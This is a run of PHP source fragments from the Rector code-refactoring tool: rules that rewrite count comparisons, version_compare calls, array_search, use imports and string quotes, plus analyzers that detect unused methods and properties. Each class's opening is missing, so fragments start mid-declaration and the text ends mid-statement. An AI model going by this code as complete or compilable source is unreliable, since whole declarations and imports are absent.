refactorGreaterOrSmaller($binaryOp) : ?\PhpParser\Node\Expr\BinaryOp\NotIdentical { if ($binaryOp instanceof Greater) { $leftExpr = $this->matchCountFuncCallArgExpr($binaryOp->left); if (!$leftExpr instanceof Expr) { return null; } if (!$this->isZeroLNumber($binaryOp->right)) { return null; } return new NotIdentical($leftExpr, new Array_([])); } $rightExpr = $this->matchCountFuncCallArgExpr($binaryOp->right); if (!$rightExpr instanceof Expr) { return null; } if (!$this->isZeroLNumber($binaryOp->left)) { return null; } return new NotIdentical(new Array_([]), $rightExpr); } /** * @param \PhpParser\Node\Stmt\If_|\PhpParser\Node\Stmt\ElseIf_ $ifElseIf * @return \PhpParser\Node\Stmt\If_|\PhpParser\Node\Stmt\ElseIf_|null */ private function refactorIfElseIf($ifElseIf) { $expr = $this->matchCountFuncCallArgExpr($ifElseIf->cond); if (!$expr instanceof Expr) { return null; } $ifElseIf->cond = new NotIdentical($expr, new Array_([])); return $ifElseIf; } private function matchCountFuncCallArgExpr(Expr $expr) : ?Expr { if (!$expr instanceof FuncCall) { return null; } if (!$this->isName($expr, 'count')) { return null; } if ($expr->isFirstClassCallable()) { return null; } $firstArg = $expr->getArgs()[0]; if (!$this->isArray($firstArg->value)) { return null; } return $firstArg->value; } private function isZeroLNumber(Expr $expr) : bool { if (!$expr instanceof LNumber) { return \false; } return $expr->value === 0; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } public function refactorWithScope(Node $node, Scope $scope) : ?FuncCall { if (!$node instanceof FuncCall) { return null; } if (!$node->name instanceof Name) { return null; } if ($node->isFirstClassCallable()) { return null; } $functionName = (string) $this->getName($node); try { $reflectionFunction = new ReflectionFunction($functionName); } catch (ReflectionException $exception) { return null; } $callableArgs = []; foreach ($reflectionFunction->getParameters() as $reflectionParameter) { if ($reflectionParameter->getType() instanceof ReflectionNamedType && $reflectionParameter->getType()->getName() === 'callable') { $callableArgs[] = $reflectionParameter->getPosition(); } } $hasChanged = \false; foreach ($node->getArgs() as $key => $arg) { if (!\in_array($key, $callableArgs, \true)) { continue; } if (!$arg->value instanceof String_) { continue; } $node->args[$key] = new Arg(new FuncCall(new Name($arg->value->value), [new VariadicPlaceholder()]), \false, \false, [], $arg->name); $hasChanged = \true; } return $hasChanged ? $node : null; } public function provideMinPhpVersion() : int { return PhpVersion::PHP_81; } } > */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'array_search')) { return null; } if (\count($node->args) === 2) { $node->args[2] = $this->nodeFactory->createArg($this->nodeFactory->createTrue()); return $node; } return null; } } > */ private const OPERATOR_TO_COMPARISON = ['=' => Identical::class, '==' => Identical::class, 'eq' => Identical::class, '!=' => NotIdentical::class, '<>' => NotIdentical::class, 'ne' => NotIdentical::class, '>' => Greater::class, 'gt' => Greater::class, '<' => Smaller::class, 'lt' => Smaller::class, '>=' => GreaterOrEqual::class, 'ge' => GreaterOrEqual::class, '<=' => SmallerOrEqual::class, 'le' => SmallerOrEqual::class]; public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes use of call to version compare function to use of PHP version constant', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { version_compare(PHP_VERSION, '5.3.0', '<'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { PHP_VERSION_ID < 50300; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node, 'version_compare')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (\count($node->getArgs()) !== 3) { return null; } $args = $node->getArgs(); if (!$this->isPhpVersionConstant($args[0]->value) && !$this->isPhpVersionConstant($args[1]->value)) { return null; } $left = $this->getNewNodeForArg($args[0]->value); $right = $this->getNewNodeForArg($args[1]->value); if (!$left instanceof Expr) { return null; } if (!$right instanceof Expr) { return null; } /** @var String_ $operator */ $operator = $args[2]->value; $comparisonClass = self::OPERATOR_TO_COMPARISON[$operator->value]; return new $comparisonClass($left, $right); } private function isPhpVersionConstant(Expr $expr) : bool { if (!$expr instanceof ConstFetch) { return \false; } return $expr->name->toString() === 'PHP_VERSION'; } /** * @return \PhpParser\Node\Expr\ConstFetch|\PhpParser\Node\Scalar\LNumber|null */ private function getNewNodeForArg(Expr $expr) { if ($this->isPhpVersionConstant($expr)) { return new ConstFetch(new Name('PHP_VERSION_ID')); } return $this->getVersionNumberFormVersionString($expr); } private function getVersionNumberFormVersionString(Expr $expr) : ?LNumber { if (!$expr instanceof String_) { return null; } $value = PhpVersionFactory::createIntVersion($expr->value); return new LNumber($value); } } > */ public function getNodeTypes() : array { return [If_::class]; } /** * @param If_ $node */ public function refactor(Node $node) : ?Node { if ($node->cond instanceof BooleanNot && $this->isNullableNonScalarType($node->cond->expr)) { $node->cond = new Identical($node->cond->expr, $this->nodeFactory->createNull()); return $node; } if ($this->isNullableNonScalarType($node->cond)) { $node->cond = new NotIdentical($node->cond, $this->nodeFactory->createNull()); return $node; } return null; } private function isNullableNonScalarType(Expr $expr) : bool { $nativeType = $this->nodeTypeResolver->getNativeType($expr); // is non-nullable? if (!TypeCombinator::containsNull($nativeType)) { return \false; } if (!$nativeType instanceof UnionType) { return \false; } // is array? foreach ($nativeType->getTypes() as $subType) { if ($subType->isArray()->yes()) { return \false; } } $nativeType = TypeCombinator::removeNull($nativeType); return !$nativeType->isScalar()->yes(); } } > */ public function getNodeTypes() : array { return [For_::class, Expression::class]; } /** * @param For_|Expression $node */ public function refactor(Node $node) : ?Node { if ($node instanceof Expression) { return $this->refactorExpression($node); } return $this->refactorFor($node); } private function refactorFor(For_ $for) : ?\PhpParser\Node\Stmt\For_ { if (\count($for->loop) !== 1) { return null; } $singleLoopExpr = $for->loop[0]; if (!$singleLoopExpr instanceof PostInc && !$singleLoopExpr instanceof PostDec) { return null; } $for->loop = [$this->processPrePost($singleLoopExpr)]; return $for; } /** * @param \PhpParser\Node\Expr\PostInc|\PhpParser\Node\Expr\PostDec $node * @return \PhpParser\Node\Expr\PreInc|\PhpParser\Node\Expr\PreDec */ private function processPrePost($node) { if ($node instanceof PostInc) { return new PreInc($node->var); } return new PreDec($node->var); } private function refactorExpression(Expression $expression) : ?Expression { if ($expression->expr instanceof PostInc || $expression->expr instanceof PostDec) { $expression->expr = $this->processPrePost($expression->expr); return $expression; } return null; } } > */ public function getNodeTypes() : array { return [Property::class]; } /** * @param Property $node * @return Property[]|null */ public function refactor(Node $node) : ?array { $allProperties = $node->props; if (\count($allProperties) === 1) { return null; } /** @var PropertyProperty $firstPropertyProperty */ $firstPropertyProperty = \array_shift($allProperties); $node->props = [$firstPropertyProperty]; $nextProperties = []; foreach ($allProperties as $allProperty) { $nextProperties[] = new Property($node->flags, [$allProperty], $node->getAttributes()); } return \array_merge([$node], $nextProperties); } } > */ private const STMTS_TO_HAVE_NEXT_NEWLINE = [ClassMethod::class, Function_::class, Property::class, If_::class, Foreach_::class, Do_::class, While_::class, For_::class, ClassConst::class, TryCatch::class, Class_::class, Trait_::class, Interface_::class, Switch_::class]; public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add new line after statements to tidify code', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function first() { } public function second() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function first() { } public function second() { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [StmtsAwareInterface::class, ClassLike::class]; } /** * @param StmtsAwareInterface|ClassLike $node * @return null|\Rector\Contract\PhpParser\Node\StmtsAwareInterface|\PhpParser\Node\Stmt\ClassLike */ public function refactor(Node $node) { return $this->processAddNewLine($node, \false); } /** * @param \Rector\Contract\PhpParser\Node\StmtsAwareInterface|\PhpParser\Node\Stmt\ClassLike $node * @return null|\Rector\Contract\PhpParser\Node\StmtsAwareInterface|\PhpParser\Node\Stmt\ClassLike */ private function processAddNewLine($node, bool $hasChanged, int $jumpToKey = 0) { if ($node->stmts === null) { return null; } \end($node->stmts); $totalKeys = \key($node->stmts); \reset($node->stmts); for ($key = $jumpToKey; $key < $totalKeys; ++$key) { if (!isset($node->stmts[$key], $node->stmts[$key + 1])) { break; } $stmt = $node->stmts[$key]; $nextStmt = $node->stmts[$key + 1]; if ($this->shouldSkip($stmt)) { continue; } $endLine = $stmt->getEndLine(); $line = $nextStmt->getStartLine(); $rangeLine = $line - $endLine; if ($rangeLine > 1) { $rangeLine = $this->resolveRangeLineFromComment($rangeLine, $line, $endLine, $nextStmt); } // skip same line or < 0 that cause infinite loop or crash if ($rangeLine <= 0) { continue; } if ($rangeLine > 1) { continue; } \array_splice($node->stmts, $key + 1, 0, [new Nop()]); $hasChanged = \true; return $this->processAddNewLine($node, $hasChanged, $key + 2); } if ($hasChanged) { return $node; } return null; } /** * @param int|float $rangeLine * @return float|int */ private function resolveRangeLineFromComment($rangeLine, int $line, int $endLine, Stmt $nextStmt) { /** @var Comment[]|null $comments */ $comments = $nextStmt->getAttribute(AttributeKey::COMMENTS); if ($this->hasNoComment($comments)) { return $rangeLine; } /** @var Comment[] $comments */ $firstComment = $comments[0]; $line = $firstComment->getStartLine(); return $line - $endLine; } /** * @param Comment[]|null $comments */ private function hasNoComment(?array $comments) : bool { return $comments === null || $comments === []; } private function shouldSkip(Stmt $stmt) : bool { return !\in_array(\get_class($stmt), self::STMTS_TO_HAVE_NEXT_NEWLINE, \true); } } > */ public function getNodeTypes() : array { return [FileWithoutNamespace::class, Namespace_::class]; } /** * @param FileWithoutNamespace|Namespace_ $node * @return null|\Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\Namespace_ */ public function refactor(Node $node) { $hasChanged = \false; foreach ($node->stmts as $stmt) { if (!$stmt instanceof Use_) { continue; } if (\count($stmt->uses) !== 1) { continue; } if (!isset($stmt->uses[0])) { continue; } $aliasName = $stmt->uses[0]->alias instanceof Identifier ? $stmt->uses[0]->alias->toString() : null; if ($aliasName === null) { continue; } $useName = $stmt->uses[0]->name->toString(); $lastName = Strings::after($useName, '\\', -1) ?? $useName; if ($lastName === $aliasName) { $stmt->uses[0]->alias = null; $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } } > */ public function getNodeTypes() : array { return [String_::class]; } /** * @param String_ $node */ public function refactor(Node $node) : ?String_ { $this->hasChanged = \false; if (StringUtils::isMatch($node->value, self::HAS_NON_PRINTABLE_CHARS)) { return null; } $doubleQuoteCount = \substr_count($node->value, '"'); $singleQuoteCount = \substr_count($node->value, "'"); $kind = $node->getAttribute(AttributeKey::KIND); if ($kind === String_::KIND_SINGLE_QUOTED) { $this->processSingleQuoted($node, $doubleQuoteCount, $singleQuoteCount); } $quoteKind = $node->getAttribute(AttributeKey::KIND); if ($quoteKind === String_::KIND_DOUBLE_QUOTED) { $this->processDoubleQuoted($node, $singleQuoteCount, $doubleQuoteCount); } if (!$this->hasChanged) { return null; } return $node; } private function processSingleQuoted(String_ $string, int $doubleQuoteCount, int $singleQuoteCount) : void { if ($doubleQuoteCount === 0 && $singleQuoteCount > 0) { // contains chars that will be newly escaped if ($this->isMatchEscapedChars($string->value)) { return; } $string->setAttribute(AttributeKey::KIND, String_::KIND_DOUBLE_QUOTED); // invoke override $string->setAttribute(AttributeKey::ORIGINAL_NODE, null); $this->hasChanged = \true; } } private function processDoubleQuoted(String_ $string, int $singleQuoteCount, int $doubleQuoteCount) : void { if ($singleQuoteCount === 0 && $doubleQuoteCount > 0) { // contains chars that will be newly escaped if ($this->isMatchEscapedChars($string->value)) { return; } $string->setAttribute(AttributeKey::KIND, String_::KIND_SINGLE_QUOTED); // invoke override $string->setAttribute(AttributeKey::ORIGINAL_NODE, null); $this->hasChanged = \true; } } private function isMatchEscapedChars(string $string) : bool { return StringUtils::isMatch($string, self::ESCAPED_CHAR_REGEX); } } [\\\\a-zA-Z0-9_\\x80-\\xff]*)::#'; public function __construct(ReflectionProvider $reflectionProvider) { $this->reflectionProvider = $reflectionProvider; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Use `class` keyword for class name resolution in string instead of hardcoded string reference', [new CodeSample(<<<'CODE_SAMPLE' $value = 'App\SomeClass::someMethod()'; CODE_SAMPLE , <<<'CODE_SAMPLE' $value = \App\SomeClass::class . '::someMethod()'; CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [String_::class]; } /** * @param String_ $node */ public function refactor(Node $node) : ?Node { $stringKind = $node->getAttribute(AttributeKey::KIND); if (\in_array($stringKind, [String_::KIND_HEREDOC, String_::KIND_NOWDOC], \true)) { return null; } $classNames = $this->getExistingClasses($node); $classNames = $this->filterOurShortClasses($classNames); if ($classNames === []) { return null; } $parts = $this->getParts($node, $classNames); if ($parts === []) { return null; } $exprsToConcat = $this->createExpressionsToConcat($parts); return $this->nodeFactory->createConcat($exprsToConcat); } /** * @param string[] $classNames * @return mixed[] */ private function getParts(String_ $string, array $classNames) : array { $quotedClassNames = \array_map(\Closure::fromCallable('preg_quote'), $classNames); // @see https://regex101.com/r/8nGS0F/1 $parts = Strings::split($string->value, '#(' . \implode('|', $quotedClassNames) . ')#'); return \array_filter($parts, static function (string $className) : bool { return $className !== ''; }); } /** * @return string[] */ private function getExistingClasses(String_ $string) : array { /** @var mixed[] $matches */ $matches = Strings::matchAll($string->value, self::CLASS_BEFORE_STATIC_ACCESS_REGEX, \PREG_PATTERN_ORDER); if (!isset($matches['class_name'])) { return []; } $classNames = []; foreach ($matches['class_name'] as $matchedClassName) { if (!$this->reflectionProvider->hasClass($matchedClassName)) { continue; } $classNames[] = $matchedClassName; } return $classNames; } /** * @param string[] $parts * @return ClassConstFetch[]|String_[] */ private function createExpressionsToConcat(array $parts) : array { $exprsToConcat = []; foreach ($parts as $part) { if ($this->reflectionProvider->hasClass($part)) { $exprsToConcat[] = new ClassConstFetch(new FullyQualified(\ltrim($part, '\\')), 'class'); } else { $exprsToConcat[] = new String_($part); } } return $exprsToConcat; } /** * @param string[] $classNames * @return string[] */ private function filterOurShortClasses(array $classNames) : array { return \array_filter($classNames, static function (string $className) : bool { return \strpos($className, '\\') !== \false; }); } } > */ public function getNodeTypes() : array { return [Ternary::class]; } /** * @param Ternary $node */ public function refactor(Node $node) : ?Node { $nodeIf = $node->if; $nodeElse = $node->else; if (!$nodeIf instanceof Assign) { return null; } if (!$nodeElse instanceof Assign) { return null; } $nodeIfVar = $nodeIf->var; $nodeElseVar = $nodeElse->var; if (!$nodeIfVar instanceof Variable) { return null; } if (!$nodeElseVar instanceof Variable) { return null; } if ($nodeIfVar->name !== $nodeElseVar->name) { return null; } $assignedTo = $node->getAttribute(AttributeKey::IS_ASSIGNED_TO); if ($assignedTo === \true) { return null; } $node->if = $nodeIf->expr; $node->else = $nodeElse->expr; $variable = new Variable($nodeIfVar->name); return new Assign($variable, $node); } } > */ public function getNodeTypes() : array { return [FileWithoutNamespace::class, Namespace_::class, Class_::class]; } /** * @param FileWithoutNamespace|Namespace_|Class_ $node * @return \Rector\PhpParser\Node\CustomNode\FileWithoutNamespace|\PhpParser\Node\Stmt\Namespace_|\PhpParser\Node\Stmt\Class_|null */ public function refactor(Node $node) { $hasChanged = \false; foreach ($node->stmts as $key => $stmt) { if ($stmt instanceof Use_) { $refactorUseImport = $this->refactorUseImport($stmt); if ($refactorUseImport !== null) { unset($node->stmts[$key]); \array_splice($node->stmts, $key, 0, $refactorUseImport); $hasChanged = \true; } continue; } if ($stmt instanceof TraitUse) { $refactorTraitUse = $this->refactorTraitUse($stmt); if ($refactorTraitUse !== null) { unset($node->stmts[$key]); \array_splice($node->stmts, $key, 0, $refactorTraitUse); $hasChanged = \true; } } } if (!$hasChanged) { return null; } return $node; } /** * @return Use_[]|null $use */ private function refactorUseImport(Use_ $use) : ?array { if (\count($use->uses) < 2) { return null; } $uses = []; foreach ($use->uses as $singleUse) { $uses[] = new Use_([$singleUse]); } return $uses; } /** * @return TraitUse[]|null */ private function refactorTraitUse(TraitUse $traitUse) : ?array { if (\count($traitUse->traits) < 2) { return null; } $traitUses = []; foreach ($traitUse->traits as $singleTraitUse) { $adaptation = []; foreach ($traitUse->adaptations as $traitAdaptation) { if ($traitAdaptation instanceof Alias && $traitAdaptation->trait && $traitAdaptation->trait instanceof Name && $traitAdaptation->trait->toString() === $singleTraitUse->toString()) { $adaptation[] = $traitAdaptation; } } $traitUses[] = new TraitUse([$singleTraitUse], $adaptation); } return $traitUses; } } filePathHelper = $filePathHelper; } public function detectMethodReflection(MethodReflection $methodReflection) : bool { $declaringClassReflection = $methodReflection->getDeclaringClass(); $fileName = $declaringClassReflection->getFileName(); return $this->detect($fileName); } public function detectFunctionReflection(FunctionReflection $functionReflection) : bool { $fileName = $functionReflection->getFileName(); return $this->detect($fileName); } private function detect(?string $fileName = null) : bool { // probably internal if ($fileName === null) { return \false; } $normalizedFileName = $this->filePathHelper->normalizePathAndSchema($fileName); return \strpos($normalizedFileName, '/vendor/') !== \false; } } phpVersionProvider = $phpVersionProvider; } /** * @return bool|int|null */ public function evaluate(ConditionInterface $condition) { if ($condition instanceof VersionCompareCondition) { return $this->evaluateVersionCompareCondition($condition); } if ($condition instanceof BinaryToVersionCompareCondition) { return $this->isEvaluedAsTrue($condition); } return null; } /** * @return bool|int|null */ private function evaluateVersionCompareCondition(VersionCompareCondition $versionCompareCondition) { $compareSign = $versionCompareCondition->getCompareSign(); if ($compareSign !== null) { if ($compareSign === '<' && $this->phpVersionProvider->provide() < $versionCompareCondition->getSecondVersion()) { return null; } return \version_compare((string) $versionCompareCondition->getFirstVersion(), (string) $versionCompareCondition->getSecondVersion(), $compareSign); } return \version_compare((string) $versionCompareCondition->getFirstVersion(), (string) $versionCompareCondition->getSecondVersion()); } private function isEvaluedAsTrue(BinaryToVersionCompareCondition $binaryToVersionCompareCondition) : bool { $versionCompareResult = $this->evaluateVersionCompareCondition($binaryToVersionCompareCondition->getVersionCompareCondition()); if ($binaryToVersionCompareCondition->getBinaryClass() === Identical::class) { return $binaryToVersionCompareCondition->getExpectedValue() === $versionCompareResult; } if ($binaryToVersionCompareCondition->getBinaryClass() === NotIdentical::class) { return $binaryToVersionCompareCondition->getExpectedValue() !== $versionCompareResult; } if ($binaryToVersionCompareCondition->getBinaryClass() === Equal::class) { // weak comparison on purpose return $binaryToVersionCompareCondition->getExpectedValue() === $versionCompareResult; } if ($binaryToVersionCompareCondition->getBinaryClass() === NotEqual::class) { // weak comparison on purpose return $binaryToVersionCompareCondition->getExpectedValue() !== $versionCompareResult; } throw new ShouldNotHappenException(); } } nodeNameResolver = $nodeNameResolver; $this->phpVersionProvider = $phpVersionProvider; $this->valueResolver = $valueResolver; } public function resolveFromExpr(Expr $expr) : ?ConditionInterface { if ($this->isVersionCompareFuncCall($expr)) { /** @var FuncCall $expr */ return $this->resolveVersionCompareConditionForFuncCall($expr); } if (!$expr instanceof Identical && !$expr instanceof Equal && !$expr instanceof NotIdentical && !$expr instanceof NotEqual) { return null; } $binaryClass = \get_class($expr); if ($this->isVersionCompareFuncCall($expr->left)) { /** @var FuncCall $funcCall */ $funcCall = $expr->left; return $this->resolveFuncCall($funcCall, $expr->right, $binaryClass); } if ($this->isVersionCompareFuncCall($expr->right)) { /** @var FuncCall $funcCall */ $funcCall = $expr->right; $versionCompareCondition = $this->resolveVersionCompareConditionForFuncCall($funcCall); if (!$versionCompareCondition instanceof VersionCompareCondition) { return null; } $expectedValue = $this->valueResolver->getValue($expr->left); return new BinaryToVersionCompareCondition($versionCompareCondition, $binaryClass, $expectedValue); } return null; } private function isVersionCompareFuncCall(Expr $expr) : bool { if (!$expr instanceof FuncCall) { return \false; } return $this->nodeNameResolver->isName($expr, 'version_compare'); } private function resolveVersionCompareConditionForFuncCall(FuncCall $funcCall) : ?VersionCompareCondition { $firstVersion = $this->resolveArgumentValue($funcCall, 0); if ($firstVersion === null) { return null; } $secondVersion = $this->resolveArgumentValue($funcCall, 1); if ($secondVersion === null) { return null; } // includes compare sign as 3rd argument $versionCompareSign = null; if (isset($funcCall->args[2]) && $funcCall->args[2] instanceof Arg) { $versionCompareSign = $this->valueResolver->getValue($funcCall->args[2]->value); } return new VersionCompareCondition($firstVersion, $secondVersion, $versionCompareSign); } private function resolveFuncCall(FuncCall $funcCall, Expr $expr, string $binaryClass) : ?BinaryToVersionCompareCondition { $versionCompareCondition = $this->resolveVersionCompareConditionForFuncCall($funcCall); if (!$versionCompareCondition instanceof VersionCompareCondition) { return null; } $expectedValue = $this->valueResolver->getValue($expr); return new BinaryToVersionCompareCondition($versionCompareCondition, $binaryClass, $expectedValue); } private function resolveArgumentValue(FuncCall $funcCall, int $argumentPosition) : ?int { if (!isset($funcCall->args[$argumentPosition])) { return null; } if (!$funcCall->args[$argumentPosition] instanceof Arg) { return null; } $firstArgValue = $funcCall->args[$argumentPosition]->value; /** @var mixed|null $version */ $version = $this->valueResolver->getValue($firstArgValue); if (\in_array($version, ['PHP_VERSION', 'PHP_VERSION_ID'], \true)) { return $this->phpVersionProvider->provide(); } if (\is_string($version)) { return PhpVersionFactory::createIntVersion($version); } return $version; } } nodeTypeResolver = $nodeTypeResolver; $this->nodeNameResolver = $nodeNameResolver; } /** * @param StaticCall[]|MethodCall[]|NullsafeMethodCall[] $calls */ public function isExists(array $calls, string $classMethodName, string $className) : bool { foreach ($calls as $call) { $callerRoot = $call instanceof StaticCall ? $call->class : $call->var; $callerType = $this->nodeTypeResolver->getType($callerRoot); if (!$callerType instanceof TypeWithClassName) { // handle fluent by $this->bar()->baz()->qux() // that methods don't have return type if ($callerType instanceof MixedType && !$callerType->isExplicitMixed()) { $cloneCallerRoot = clone $callerRoot; $isFluent = \false; // init $methodCallNames = []; // first append $methodCallNames[] = (string) $this->nodeNameResolver->getName($call->name); while ($cloneCallerRoot instanceof MethodCall) { $methodCallNames[] = (string) $this->nodeNameResolver->getName($cloneCallerRoot->name); if ($cloneCallerRoot->var instanceof Variable && $cloneCallerRoot->var->name === 'this') { $isFluent = \true; break; } $cloneCallerRoot = $cloneCallerRoot->var; } if ($isFluent && \in_array($classMethodName, $methodCallNames, \true)) { return \true; } } continue; } if ($this->isSelfStatic($call) && $this->shouldSkip($call, $classMethodName)) { return \true; } if ($callerType->getClassName() !== $className) { continue; } if ($this->shouldSkip($call, $classMethodName)) { return \true; } } return \false; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\NullsafeMethodCall $call */ private function isSelfStatic($call) : bool { return $call instanceof StaticCall && $call->class instanceof Name && \in_array($call->class->toString(), [ObjectReference::SELF, ObjectReference::STATIC], \true); } /** * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\NullsafeMethodCall $call */ private function shouldSkip($call, string $classMethodName) : bool { if (!$call->name instanceof Identifier) { return \true; } // the method is used return $this->nodeNameResolver->isName($call->name, $classMethodName); } } usedVariableNameAnalyzer = $usedVariableNameAnalyzer; $this->compactFuncCallAnalyzer = $compactFuncCallAnalyzer; } public function isUsed(Node $node, Variable $variable) : bool { if ($node instanceof Include_) { return \true; } // variable as variable variable need mark as used if ($node instanceof Variable && $node->name instanceof Expr) { return \true; } if ($node instanceof FuncCall) { return $this->compactFuncCallAnalyzer->isInCompact($node, $variable); } return $this->usedVariableNameAnalyzer->isVariableNamed($node, $variable); } } nodeNameResolver = $nodeNameResolver; $this->astResolver = $astResolver; $this->betterNodeFinder = $betterNodeFinder; $this->valueResolver = $valueResolver; $this->arrayCallableMethodMatcher = $arrayCallableMethodMatcher; $this->callCollectionAnalyzer = $callCollectionAnalyzer; $this->reflectionResolver = $reflectionResolver; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } public function isClassMethodUsed(Class_ $class, ClassMethod $classMethod, Scope $scope) : bool { $classMethodName = $this->nodeNameResolver->getName($classMethod); // 1. direct normal calls if ($this->isClassMethodCalledInLocalMethodCall($class, $classMethodName)) { return \true; } // 2. direct null-safe calls if ($this->isClassMethodCalledInLocalNullsafeMethodCall($class, $classMethodName)) { return \true; } // 3. direct static calls if ($this->isClassMethodUsedInLocalStaticCall($class, $classMethodName)) { return \true; } // 4. magic array calls! if ($this->isClassMethodCalledInLocalArrayCall($class, $classMethod, $scope)) { return \true; } // 4. private method exists in trait and is overwritten by the class return $this->doesMethodExistInTrait($classMethod, $classMethodName); } private function isClassMethodUsedInLocalStaticCall(Class_ $class, string $classMethodName) : bool { $className = (string) $this->nodeNameResolver->getName($class); /** @var StaticCall[] $staticCalls */ $staticCalls = $this->betterNodeFinder->findInstanceOf($class, StaticCall::class); return $this->callCollectionAnalyzer->isExists($staticCalls, $classMethodName, $className); } private function isClassMethodCalledInLocalMethodCall(Class_ $class, string $classMethodName) : bool { $className = (string) $this->nodeNameResolver->getName($class); /** @var MethodCall[] $methodCalls */ $methodCalls = $this->betterNodeFinder->findInstanceOf($class, MethodCall::class); return $this->callCollectionAnalyzer->isExists($methodCalls, $classMethodName, $className); } private function isClassMethodCalledInLocalNullsafeMethodCall(Class_ $class, string $classMethodName) : bool { $className = (string) $this->nodeNameResolver->getName($class); /** @var NullsafeMethodCall[] $methodCalls */ $methodCalls = $this->betterNodeFinder->findInstanceOf($class, NullsafeMethodCall::class); return $this->callCollectionAnalyzer->isExists($methodCalls, $classMethodName, $className); } private function isInArrayMap(Class_ $class, Array_ $array) : bool { if (!$array->getAttribute(ArrayMapArgVisitor::ATTRIBUTE_NAME) instanceof Arg) { return \false; } if (\count($array->items) !== 2) { return \false; } if (!$array->items[1] instanceof ArrayItem) { return \false; } $value = $this->valueResolver->getValue($array->items[1]->value); if (!\is_string($value)) { return \false; } return $class->getMethod($value) instanceof ClassMethod; } private function isClassMethodCalledInLocalArrayCall(Class_ $class, ClassMethod $classMethod, Scope $scope) : bool { /** @var Array_[] $arrays */ $arrays = $this->betterNodeFinder->findInstanceOf($class, Array_::class); $classMethodName = $this->nodeNameResolver->getName($classMethod); foreach ($arrays as $array) { if ($this->isInArrayMap($class, $array)) { return \true; } $arrayCallable = $this->arrayCallableMethodMatcher->match($array, $scope, $classMethodName); if ($arrayCallable instanceof ArrayCallableDynamicMethod) { return \true; } if ($this->shouldSkipArrayCallable($class, $arrayCallable)) { continue; } // the method is used /** @var ArrayCallable $arrayCallable */ if ($this->nodeNameResolver->isName($classMethod->name, $arrayCallable->getMethod())) { return \true; } } return \false; } private function shouldSkipArrayCallable(Class_ $class, ?\Rector\NodeCollector\ValueObject\ArrayCallable $arrayCallable) : bool { if (!$arrayCallable instanceof ArrayCallable) { return \true; } // is current class method? return !$this->nodeNameResolver->isName($class, $arrayCallable->getClass()); } private function doesMethodExistInTrait(ClassMethod $classMethod, string $classMethodName) : bool { $classReflection = $this->reflectionResolver->resolveClassReflection($classMethod); if (!$classReflection instanceof ClassReflection) { return \false; } $traits = $this->astResolver->parseClassReflectionTraits($classReflection); $className = $classReflection->getName(); foreach ($traits as $trait) { if ($this->isUsedByTrait($trait, $classMethodName, $className)) { return \true; } } return \false; } private function isUsedByTrait(Trait_ $trait, string $classMethodName, string $className) : bool { foreach ($trait->getMethods() as $classMethod) { if ($classMethod->name->toString() === $classMethodName) { return \true; } /** * Trait can't detect class type, so it rely on "this" or "self" or "static" or "ClassName::methodName()" usage... */ $callMethod = null; $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $classMethod->stmts, function (Node $subNode) use($className, $classMethodName, &$callMethod) : ?int { if ($subNode instanceof Class_ || $subNode instanceof Function_) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($subNode instanceof MethodCall && $this->nodeNameResolver->isName($subNode->var, 'this') && $this->nodeNameResolver->isName($subNode->name, $classMethodName)) { $callMethod = $subNode; return NodeTraverser::STOP_TRAVERSAL; } if ($this->isStaticCallMatch($subNode, $className, $classMethodName)) { $callMethod = $subNode; return NodeTraverser::STOP_TRAVERSAL; } return null; }); if ($callMethod instanceof CallLike) { return \true; } } return \false; } private function isStaticCallMatch(Node $subNode, string $className, string $classMethodName) : bool { if (!$subNode instanceof StaticCall) { return \false; } if (!$subNode->class instanceof Name) { return \false; } return ($subNode->class->isSpecialClassName() || $subNode->class->toString() === $className) && $this->nodeNameResolver->isName($subNode->name, $classMethodName); } } betterNodeFinder = $betterNodeFinder; } public function hasClassDynamicPropertyNames(Class_ $class) : bool { return (bool) $this->betterNodeFinder->findFirst($class, static function (Node $node) : bool { if (!$node instanceof PropertyFetch && !$node instanceof NullsafePropertyFetch) { return \false; } // has dynamic name - could be anything return $node->name instanceof Expr; }); } /** * The property fetches are always only assigned to, nothing else * * @param array $propertyFetches */ public function arePropertyFetchesExclusivelyBeingAssignedTo(array $propertyFetches) : bool { foreach ($propertyFetches as $propertyFetch) { if ((bool) $propertyFetch->getAttribute(AttributeKey::IS_MULTI_ASSIGN, \false)) { return \false; } if ((bool) $propertyFetch->getAttribute(AttributeKey::IS_ASSIGNED_TO, \false)) { return \false; } if ((bool) $propertyFetch->getAttribute(AttributeKey::IS_BEING_ASSIGNED, \false)) { continue; } return \false; } return \true; } } betterNodeFinder = $betterNodeFinder; $this->exprAnalyzer = $exprAnalyzer; $this->reflectionResolver = $reflectionResolver; $this->nodeTypeResolver = $nodeTypeResolver; } /** * @param \PhpParser\Node\Expr\BinaryOp\BooleanAnd|\PhpParser\Node\Expr\BinaryOp\BooleanOr $booleanAnd */ public function isSafe($booleanAnd) : bool { $hasNonTypedFromParam = (bool) $this->betterNodeFinder->findFirst($booleanAnd->left, function (Node $node) : bool { return $node instanceof Variable && $this->exprAnalyzer->isNonTypedFromParam($node); }); if 